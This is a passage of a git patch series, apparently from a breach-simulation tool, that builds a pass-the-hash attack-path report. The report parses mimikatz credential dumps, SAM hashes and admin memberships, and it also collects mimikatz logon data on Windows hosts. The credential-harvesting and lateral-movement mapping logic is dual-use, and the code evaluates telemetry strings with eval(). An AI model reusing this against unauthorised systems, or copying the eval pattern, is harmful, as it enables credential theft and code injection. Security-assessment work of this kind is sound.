GetLocalAdminSecrets(self): return set(self.GetLocalAdminCreds().values()) + @cache def GetLocalAdminCreds(self): admin_names = self.GetLocalAdminNames() sam = self.GetLocalSecrets() @@ -269,35 +350,44 @@ class Machine(object): return admin_creds + @cache def GetCachedSecrets(self): return set(self.GetCachedCreds().values()) + @cache def GetCachedCreds(self): doc = self.latest_system_info creds = dict() - for username in doc["data"]["credentials"]: - user = doc["data"]["credentials"][username] - - if "password" in user.keys(): - ntlm = myntlm(str(user["password"])) - elif "ntlm_hash" in user.keys(): - ntlm = str(user["ntlm_hash"]) - else: - continue + if not self.GetMimikatzOutput(): + return {} + + mimikatz = self.GetMimikatzOutput() + + for user in mimikatz.split("\n42.")[0].split("Authentication Id")[1:]: + username = None + secret = None - secret = hashlib.md5(ntlm.decode("hex")).hexdigest() - - creds[username] = secret + for line in user.splitlines(): + if "User Name" in line: + username = line.split(":")[1].strip() + + if ("NTLM" in line or "Password" in line) and "[hashed secret]" in line: + secret = line.split(":")[1].replace("[hashed secret]", "").strip() + + if username and secret: + creds[username] = secret return creds + @cache def GetDomainControllers(self): domain_name = self.GetDomainName() DCs = self.GetDomainControllersMonkeyGuidByDomainName(domain_name) return map(Machine, DCs) + @cache def GetDomainAdminsOfMachine(self): DCs = self.GetDomainControllers() @@ -308,12 +398,15 @@ class Machine(object): return domain_admins + @cache def GetAdmins(self): return self.GetLocalAdmins() | self.GetDomainAdminsOfMachine() - + + @cache def GetAdminNames(self): return set(map(lambda x: self.GetUsernameBySid(x), self.GetAdmins())) + @cache def GetCachedSids(self): doc = self.latest_system_info @@ -329,6 +422,7 @@ class Machine(object): return SIDs + @cache def GetCachedUsernames(self): doc = self.latest_system_info @@ -342,12 +436,14 @@ class Machine(object): class PassTheHashMap(object): def __init__(self): self.vertices = self.GetAllMachines() + self.edges = set() self.machines = map(Machine, self.vertices) - + self.GenerateEdgesBySid() # Useful for non-cached domain users self.GenerateEdgesBySamHash() # This will add edges based only on password hash without caring about username - + + @cache def GetAllMachines(self): cur = mongo.db.telemetry.find({"telem_type":"system_info_collection"}) @@ -357,7 +453,8 @@ class PassTheHashMap(object): GUIDs.add(doc["monkey_guid"]) return GUIDs - + + @cache def ReprSidList(self, sid_list, attacker, victim): label = set() @@ -372,6 +469,7 @@ class PassTheHashMap(object): return ",\n".join(label) + @cache def ReprSecretList(self, secret_list, victim): label = set() @@ -380,6 +478,7 @@ class PassTheHashMap(object): return ",\n".join(label) + @cache def GenerateEdgesBySid(self): for attacker in self.vertices: cached = Machine(attacker).GetCachedSids() @@ -389,11 +488,12 @@ class PassTheHashMap(object): continue admins = Machine(victim).GetAdmins() - + if len(cached & admins) > 0: label = self.ReprSidList(cached & admins, attacker, victim) self.edges.add((attacker, victim, label)) + @cache def GenerateEdgesBySamHash(self): for attacker in self.vertices: cached_creds = set(Machine(attacker).GetCachedCreds().items()) @@ -408,6 +508,7 @@ class PassTheHashMap(object): label = self.ReprSecretList(set(dict(cached_creds & admin_creds).values()), victim) self.edges.add((attacker, victim, label)) + @cache def GenerateEdgesByUsername(self): for attacker in self.vertices: cached = Machine(attacker).GetCachedUsernames() @@ -421,34 +522,48 @@ class PassTheHashMap(object): if len(cached & admins) > 0: self.edges.add((attacker, victim)) + @cache def Print(self): print map(lambda x: Machine(x).GetIp(), self.vertices) print map(lambda x: (Machine(x[0]).GetIp(), Machine(x[1]).GetIp()), self.edges) + @cache def GetPossibleAttackCountBySid(self, sid): return len(self.GetPossibleAttacksBySid(sid)) + @cache + def GetPossibleAttacksByAttacker(self, attacker): + attacks = set() + + cached_creds = set(Machine(attacker).GetCachedCreds().items()) + + for victim in self.vertices: + if attacker == victim: + continue + + admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) + + if len(cached_creds & admin_creds) > 0: + curr_attacks = dict(cached_creds & admin_creds) + attacks.add((attacker, victim, curr_attacks)) + + return attacks + + @cache def GetPossibleAttacksBySid(self, sid): attacks = set() for attacker in self.vertices: - cached_creds = set(Machine(attacker).GetCachedCreds().items()) + tmp = self.GetPossibleAttacksByAttacker(attacker) - for victim in self.vertices: - if attacker == victim: - continue - - admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) - - if len(cached_creds & admin_creds) > 0: - curr_attacks = dict(cached_creds & admin_creds) - - for username, secret in curr_attacks.iteritems(): - if Machine(victim).GetSidByUsername(username) == sid: - attacks.add((attacker, victim)) + for _, victim, curr_attacks in tmp: + for username, secret in curr_attacks.iteritems(): + if Machine(victim).GetSidByUsername(username) == sid: + attacks.add((attacker, victim)) return attacks + @cache def GetSecretBySid(self, sid): for m in self.machines: for user, user_secret in m.GetLocalSecrets().iteritems(): @@ -457,15 +572,19 @@ class PassTheHashMap(object): return None + @cache def GetVictimCountBySid(self, sid): return len(self.GetVictimsBySid(sid)) + @cache def GetVictimCountByMachine(self, attacker): return len(self.GetVictimsByAttacker(attacker)) + @cache def GetAttackCountBySecret(self, secret): return len(self.GetAttackersBySecret(secret)) + @cache def GetAllUsernames(self): names = set() @@ -474,6 +593,7 @@ class PassTheHashMap(object): return names + @cache def GetAllSids(self): SIDs = set() @@ -482,6 +602,7 @@ class PassTheHashMap(object): return SIDs + @cache def GetAllSecrets(self): secrets = set() @@ -491,6 +612,7 @@ class PassTheHashMap(object): return secrets + @cache def GetUsernameBySid(self, sid): for m in self.machines: username = m.GetUsernameBySid(sid) @@ -500,6 +622,7 @@ class PassTheHashMap(object): return None + @cache def GetSidsBySecret(self, secret): SIDs = set() @@ -508,6 +631,7 @@ class PassTheHashMap(object): return SIDs + @cache def GetAllDomainControllers(self): DCs = set() @@ -517,6 +641,7 @@ class PassTheHashMap(object): return DCs + @cache def GetSidsByUsername(self, username): SIDs = set() @@ -527,6 +652,7 @@ class PassTheHashMap(object): return SIDs + @cache def GetVictimsBySid(self, sid): machines = set() @@ -536,6 +662,7 @@ class PassTheHashMap(object): return machines + @cache def GetVictimsBySecret(self, secret): machines = set() @@ -547,6 +674,7 @@ class PassTheHashMap(object): return machines + @cache def GetAttackersBySecret(self, secret): machines = set() @@ -556,6 +684,7 @@ class PassTheHashMap(object): return machines + @cache def GetAttackersByVictim(self, victim): attackers = set() @@ -565,6 +694,7 @@ class PassTheHashMap(object): return attackers + @cache def GetVictimsByAttacker(self, attacker): victims = set() @@ -574,6 +704,7 @@ class PassTheHashMap(object): return victims + @cache def GetInPathCountByVictim(self, victim, already_processed=None): if type(victim) != unicode: victim = victim.monkey_guid @@ -607,11 +738,14 @@ def main(): print "

      Duplicated Passwords

      " print "

      How many users share each secret?

      " + dups = dict(map(lambda x: (x, len(pth.GetSidsBySecret(x))), pth.GetAllSecrets())) print """""" print """""" for secret, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 1: + continue print """""".format(secret=secret, count=count) print """
      SecretUser Count
      {secret}{count}
      """ @@ -622,6 +756,8 @@ def main(): print """""" print """""" for secret, count in sorted(cache_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 0: + continue print """""".format(secret=secret, count=count) print """
      SecretMachine Count
      {secret}{count}
      """ @@ -632,6 +768,8 @@ def main(): print """""" print """""" for sid, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 1: + continue print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) print """
      SIDUsernameMachine Count
      {sid}{username}{count}
      """ @@ -642,6 +780,8 @@ def main(): print """""" print """""" for sid, count in sorted(possible_attacks_by_sid.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 1: + continue print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) print """
      SIDUsernameMachine Count
      {sid}{username}{count}
      """ @@ -652,6 +792,8 @@ def main(): print """""" print """""" for m, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 1: + continue print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) print """
      Attacker IpAttacker HostnameDomain NameVictim Machine Count
      {ip}{hostname}{domain}{count}
      """ From e557f78ae35306c68601d4e2088185445eac3a94 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 3 Apr 2018 11:01:53 +0300 Subject: [PATCH 040/243] remove more junk data --- monkey_island/cc/resources/pthmap.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index b652c86df..989df830d 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -814,6 +814,8 @@ def main(): print """""" print """""" for m, path_count in sorted(all_machines.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 0: + continue print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), path_count=path_count) print """
      IpHostnameDomain NameIn-Path Count
      {ip}{hostname}{domain}{path_count}
      """ From eeae92ccda9ce30b9ec568f39e000b37eb7bb47e Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 4 Apr 2018 05:55:59 -0700 Subject: [PATCH 041/243] missing line --- infection_monkey/system_info/windows_info_collector.py | 1 + 1 file changed, 1 insertion(+) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index cf7619a78..d459a0e2d 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -101,6 +101,7 @@ class WindowsInfoCollector(InfoCollector): self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa") self.get_installed_packages() + mimikatz_collector = MimikatzCollector() mimikatz_info = mimikatz_collector.get_logon_info() self.info["credentials"].update(mimikatz_info) self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() From 826df43708d512a9d89fbaafa3dad1830cfc3938 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 10 Apr 2018 17:51:09 +0300 Subject: [PATCH 042/243] add cahce --- monkey_island/cc/resources/pthmap.py | 38 ++++++++++++++++++++++++---- 1 file changed, 33 insertions(+), 5 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 989df830d..e33bd4870 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -173,23 +173,40 @@ class Machine(object): @cache def GetUsernameBySid(self, sid): + info = self.GetSidInfo(sid) + + if not info: + return None + + return info["Domain"] + "\\" + info["Username"] + + @cache + def GetSidInfo(self, sid): doc = self.latest_system_info for user in doc["data"]["Win32_UserAccount"]: if eval(user["SID"]) != sid: continue - return eval(user["Name"]) + return { "Domain": eval(user["Domain"]), + "Username": eval(user["Name"]), + "Disabled": user["Disabled"] == "true", + "PasswordRequired": user["PasswordRequired"] == "true", + "PasswordExpires": user["PasswordExpires"] == "true", } if not self.IsDomainController(): for dc in self.GetDomainControllers(): - username = dc.GetUsernameBySid(sid) + domain = dc.GetSidInfo(sid) - if username != None: - return username + if domain != None: + return domain return None + @cache + def GetInstalledServices(self): + "IIS-WebServer" + @cache def GetUsernamesBySecret(self, secret): sam = self.GetLocalSecrets() @@ -622,6 +639,16 @@ class PassTheHashMap(object): return None + @cache + def GetSidInfo(self, sid): + for m in self.machines: + info = m.GetSidInfo(sid) + + if info: + return info + + return None + @cache def GetSidsBySecret(self, secret): SIDs = set() @@ -868,8 +895,9 @@ def main(): for sid in pth.GetAllSids(): print """

      SID '{sid}'

      Username: '{username}'

      +

      Domain: {domain}

      Secret: '{secret}'

      - """.format(username=pth.GetUsernameBySid(sid), sid=sid, secret=pth.GetSecretBySid(sid)) + """.format(username=pth.GetUsernameBySid(sid), sid=sid, secret=pth.GetSecretBySid(sid), domain=pth.GetSidInfo(sid)["Domain"]) print """

      Attackable Machines

      """ print """
        """ From 21cf786d51ad604282bc430ff305c5039a6b09ea Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 10 Apr 2018 17:51:18 +0300 Subject: [PATCH 043/243] add more wmi classeS --- infection_monkey/system_info/windows_info_collector.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index cf821fa45..0b888ec2b 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -21,9 +21,10 @@ WMI_CLASSES = set(["Win32_OperatingSystem", "Win32_UserProfile", "Win32_Group", "Win32_GroupUser", - #"Win32_Product", + "Win32_Product", + "Win32_Service", + "Win32_OptionalFeature", #"Win32_Process", - #"Win32_Service" ]) def fix_obj_for_mongo(o): @@ -131,7 +132,7 @@ class WindowsInfoCollector(InfoCollector): key = _winreg.ConnectRegistry(None, store) subkey = _winreg.OpenKey(key, subkey_path) - d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[1])]) + d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])]) d = fix_obj_for_mongo(d) self.info[subkey_path] = d From 502997a8e4e3a08b6b3b9304a65ce1ae08bea131 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 10 Apr 2018 18:55:53 +0300 Subject: [PATCH 044/243] add logs --- monkey_island/cc/resources/telemetry.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index d7b21035c..6297710e2 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -1,5 +1,6 @@ import json import traceback +import logging import copy from datetime import datetime @@ -16,6 +17,8 @@ from cc.encryptor import encryptor __author__ = 'Barak' +LOG = logging.getLogger(__name__) + class Telemetry(flask_restful.Resource): @jwt_required() @@ -167,11 +170,16 @@ class Telemetry(flask_restful.Resource): @staticmethod def process_system_info_telemetry(telemetry_json): + LOG.debug("Processing system info telemtery for encryption...") + if 'credentials' in telemetry_json['data']: + LOG.debug("Encrypting telemetry credentials...") creds = telemetry_json['data']['credentials'] Telemetry.encrypt_system_info_creds(creds) Telemetry.add_system_info_creds_to_config(creds) Telemetry.replace_user_dot_with_comma(creds) + + LOG.debug("Done enrypting") @staticmethod def process_trace_telemetry(telemetry_json): From b74167178f012f52f4d4dd51d4c54e5c913d00ab Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 12:29:28 +0300 Subject: [PATCH 045/243] add installed services to report --- monkey_island/cc/resources/pthmap.py | 40 +++++++++++++++++++++++++++- 1 file changed, 39 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index e33bd4870..2df94a190 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -205,8 +205,37 @@ class Machine(object): @cache def GetInstalledServices(self): - "IIS-WebServer" + def IsNameOfCriticalService(name): + services = ("iis", "exchange", "active directory", "domain controller", "mssql") + name = name.lower() + + for ser in services: + if ser in name: + return True + + return False + doc = self.latest_system_info + found = [] + + for product in doc["data"]["Win32_Product"]: + service_name = eval(product["Name"]) + + if not IsNameOfCriticalService(service_name): + continue + + found.append(service_name) + + for service in doc["data"]["Win32_Service"]: + service_name = eval(service["Name"]) + + if not IsNameOfCriticalService(service_name): + continue + + found.append(service_name) + + return found + @cache def GetUsernamesBySecret(self, secret): sam = self.GetLocalSecrets() @@ -878,6 +907,15 @@ def main(): for sid in m.GetAdmins(): print """
      • {username} ({sid})
      • """.format(username=m.GetUsernameBySid(sid), sid=sid) print """
      """ + + print """

      Installed Critical Services

      """ + print """

      List of crtical services found installed on machine

      """ + print """
        """ + for service_name in m.GetInstalledServices(): + print """
      • {service_name}
      • """.format(service_name=service_name) + print """
      """ + + print "
      " From 0fa14d631cff9e2ef373e16f0dae42beda8227b0 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 12:45:32 +0300 Subject: [PATCH 046/243] add critical server list to report --- monkey_island/cc/resources/pthmap.py | 34 +++++++++++++++++++++++++--- 1 file changed, 31 insertions(+), 3 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 2df94a190..434dc35a7 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -204,9 +204,14 @@ class Machine(object): return None @cache - def GetInstalledServices(self): + def GetCriticalServicesInstalled(self): def IsNameOfCriticalService(name): - services = ("iis", "exchange", "active directory", "domain controller", "mssql") + services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer") + services = map(string.lower, services) + + if not name: + return False + name = name.lower() for ser in services: @@ -217,6 +222,9 @@ class Machine(object): doc = self.latest_system_info found = [] + + if self.IsDomainController(): + found.append("Domain Controller") for product in doc["data"]["Win32_Product"]: service_name = eval(product["Name"]) @@ -787,6 +795,16 @@ class PassTheHashMap(object): return count + @cache + def GetCritialServers(self): + machines = set() + + for m in self.machines: + if m.IsCriticalServer(): + machines.add(m) + + return machines + def main(): pth = PassTheHashMap() @@ -875,6 +893,16 @@ def main(): print """{ip}{hostname}{domain}{path_count}""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), path_count=path_count) print """""" + print "

      Critical Servers

      " + print "

      List of all machines identified as critical servers

      " + critical_servers = pth.GetCritialServers() + + print """""" + print """""" + for m in critical_servers: + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName()) + print """
      IpHostnameDomain Name
      {ip}{hostname}{domain}
      """ + print "
      " for m in pth.machines: @@ -911,7 +939,7 @@ def main(): print """

      Installed Critical Services

      """ print """

      List of crtical services found installed on machine

      """ print """
        """ - for service_name in m.GetInstalledServices(): + for service_name in m.GetCriticalServicesInstalled(): print """
      • {service_name}
      • """.format(service_name=service_name) print """
      """ From 6d5d8595a0bfa9e45956759091ad561f681b2639 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 12:47:52 +0300 Subject: [PATCH 047/243] fix --- monkey_island/cc/resources/pthmap.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 434dc35a7..a27d509e4 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -244,6 +244,10 @@ class Machine(object): return found + @cache + def IsCriticalServer(self): + return len(self.GetCriticalServicesInstalled()) > 0 + @cache def GetUsernamesBySecret(self, secret): sam = self.GetLocalSecrets() From cdadb32ff0620a57b813c61441acc7b79d5b7df6 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 12:49:14 +0300 Subject: [PATCH 048/243] fix --- monkey_island/cc/resources/pthmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index a27d509e4..5730a2ade 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -207,7 +207,7 @@ class Machine(object): def GetCriticalServicesInstalled(self): def IsNameOfCriticalService(name): services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer") - services = map(string.lower, services) + services = map(str.lower, services) if not name: return False From 2c68cca5db6ae790b440f103888247ba62068d15 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 13:12:57 +0300 Subject: [PATCH 049/243] add list of the users that share each password --- monkey_island/cc/resources/pthmap.py | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 5730a2ade..110ffa8bd 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -310,7 +310,16 @@ class Machine(object): @cache def GetLocalAdmins(self): - return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).keys()) + admins = self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")) + + #debug = self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Users")) + #admins.update(debug) + + return admins + + @cache + def GetLocalAdminSids(self): + return set(self.GetLocalAdmins().keys()) @cache def GetLocalSids(self): @@ -325,7 +334,7 @@ class Machine(object): @cache def GetLocalAdminNames(self): - return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values()) + return set(self.GetLocalAdmins().values()) @cache def GetSam(self): @@ -452,13 +461,13 @@ class Machine(object): domain_admins = set() for dc in DCs: - domain_admins |= dc.GetLocalAdmins() + domain_admins |= dc.GetLocalAdminSids() return domain_admins @cache def GetAdmins(self): - return self.GetLocalAdmins() | self.GetDomainAdminsOfMachine() + return self.GetLocalAdminSids() | self.GetDomainAdminsOfMachine() @cache def GetAdminNames(self): @@ -820,11 +829,16 @@ def main(): dups = dict(map(lambda x: (x, len(pth.GetSidsBySecret(x))), pth.GetAllSecrets())) print """""" - print """""" + print """""" for secret, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): if count <= 1: continue print """""".format(secret=secret, count=count) + print """""" print """
      SecretUser Count
      SecretUser CountUsers That Share This Password
      {secret}{count}
        """ + for sid in pth.GetSidsBySecret(secret): + print """
      • {username}""" + print """
      • {username}
      • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + print """
      """ print "

      Cached Passwords

      " From 13bf7107c9ee57f7afc42e760f53bbeca12891f3 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 13:30:55 +0300 Subject: [PATCH 050/243] BUGFIX: Take the latest info_collection got from machine instead of oldest --- monkey_island/cc/resources/pthmap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 110ffa8bd..f61c2d9c9 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -98,7 +98,7 @@ class Machine(object): def __init__(self, monkey_guid): self.monkey_guid = str(monkey_guid) - self.latest_system_info = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}).sort([("timestamp", 1)]).limit(1) + self.latest_system_info = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}).sort([("timestamp", -1)]).limit(1) if self.latest_system_info.count() > 0: self.latest_system_info = self.latest_system_info[0] @@ -282,7 +282,7 @@ class Machine(object): doc = self.latest_system_info users = dict() - + for group_user in doc["data"]["Win32_GroupUser"]: if eval(group_user["GroupComponent"]["SID"]) != sid: continue From 7a7729c21270e352a215efe241b84918cc983fb6 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 13:58:47 +0300 Subject: [PATCH 051/243] add threatning users to report --- monkey_island/cc/resources/pthmap.py | 31 +++++++++++++++++++++++++++- 1 file changed, 30 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index f61c2d9c9..25f2b05c3 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -818,6 +818,14 @@ class PassTheHashMap(object): return machines + def GetThreateningUsersByVictim(victim): + threatening_users = set() + + for attacker in pth.GetAttackersByVictim(victim): + threatening_users |= (attacker.GetCachedSids() & victim.GetAdmins()) + + return threatening_users + def main(): pth = PassTheHashMap() @@ -836,11 +844,32 @@ def main(): print """{secret}{count}""".format(secret=secret, count=count) print """
        """ for sid in pth.GetSidsBySecret(secret): - print """
      • {username}""" print """
      • {username}
      • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) print """
      """ print """""" + + + print "

      Strong Users That Threat Critical Servers

      " + print "

      Administrators of critical servers that we could find thier secret cached somewhere

      " + + threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetCritialServers())) + + print """""" + print """""" + for m, count in sorted(threatening.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 0: + continue + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + print """""" + print """
      Critical ServerHostnameDomainThreatening User CountThreatening Users
      {ip}{hostname}{domain}{count}
        """ + + for sid in pth.GetThreateningUsersByVictim(m): + print """
      • {username}
      • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + + print """
      """ + + print "

      Cached Passwords

      " print "

      On how many machines each secret is cached (possible attacker count)?

      " cache_counts = dict(map(lambda x: (x, pth.GetAttackCountBySecret(x)), pth.GetAllSecrets())) From 0d4e28b55bf1ae44df8307a80146e95ae0e952bf Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 14:43:26 +0300 Subject: [PATCH 052/243] small fixes --- monkey_island/cc/resources/pthmap.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 25f2b05c3..f006c0fe6 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -48,7 +48,7 @@ def cache(foo): if type(o) in (int, float, str, unicode): return o - elif type(o) in (list, tuple): + elif type(o) in (list, tuple, set): hashed = tuple([hash(x) for x in o]) if "NotHashable" in hashed: @@ -75,13 +75,13 @@ def cache(foo): return "PassTheHashMapSingleton" else: + assert False, "%s of type %s is not hashable" % (repr(o), type(o)) return "NotHashable" def wrapper(*args, **kwargs): hashed = (hash(args), hash(kwargs)) if "NotHashable" in hashed: - print foo return foo(*args, **kwargs) if not hasattr(foo, "_mycache_"): @@ -818,10 +818,10 @@ class PassTheHashMap(object): return machines - def GetThreateningUsersByVictim(victim): + def GetThreateningUsersByVictim(self, victim): threatening_users = set() - for attacker in pth.GetAttackersByVictim(victim): + for attacker in self.GetAttackersByVictim(victim): threatening_users |= (attacker.GetCachedSids() & victim.GetAdmins()) return threatening_users From 29fac1a960e082697efdc68e3f4cd7afd80b7522 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 14:59:06 +0300 Subject: [PATCH 053/243] fix --- monkey_island/cc/resources/pthmap.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index f006c0fe6..9bdfa275d 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -763,13 +763,16 @@ class PassTheHashMap(object): @cache def GetAttackersByVictim(self, victim): - attackers = set() + if type(victim) != unicode: + victim = victim.monkey_guid + attackers = set() + for atck, vic, _ in self.edges: if vic == victim: attackers.add(atck) - return attackers + return set(map(Machine, attackers)) @cache def GetVictimsByAttacker(self, attacker): From 807606dae270036bf2e0eb5bfaf64edf2a49c378 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 15:00:22 +0300 Subject: [PATCH 054/243] i think this is also a bug --- monkey_island/cc/resources/pthmap.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 9bdfa275d..e1d544d3c 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -776,13 +776,16 @@ class PassTheHashMap(object): @cache def GetVictimsByAttacker(self, attacker): + if type(victim) != unicode: + victim = victim.monkey_guid + victims = set() for atck, vic, _ in self.edges: if atck == attacker: victims.add(vic) - return victims + return set(map(Machine, victims)) @cache def GetInPathCountByVictim(self, victim, already_processed=None): From e17f9b8273aa632b8d3df57e60a1fc729edc9636 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 15:02:49 +0300 Subject: [PATCH 055/243] fix --- monkey_island/cc/resources/pthmap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index e1d544d3c..4ac543a31 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -776,8 +776,8 @@ class PassTheHashMap(object): @cache def GetVictimsByAttacker(self, attacker): - if type(victim) != unicode: - victim = victim.monkey_guid + if type(attacker) != unicode: + attacker = attacker.monkey_guid victims = set() From c308532ff49e032d2c24e8fd0aa0817453f0d078 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 15:54:03 +0300 Subject: [PATCH 056/243] show low sevirity threat users --- monkey_island/cc/resources/pthmap.py | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 4ac543a31..ade484ea7 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -824,6 +824,11 @@ class PassTheHashMap(object): return machines + @cache + def GetNonCritialServers(self): + return self.machines - self.GetCritialServers() + + @cache def GetThreateningUsersByVictim(self, victim): threatening_users = set() @@ -874,6 +879,26 @@ def main(): print """
    """ print """""" + + + print "

    Strong Users That Threat NonCritical Servers

    " + print "

    Administrators of non-critical servers that we could find thier secret cached somewhere

    " + + threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetNonCritialServers())) + + print """""" + print """""" + for m, count in sorted(threatening.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 0: + continue + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) + print """""" + print """
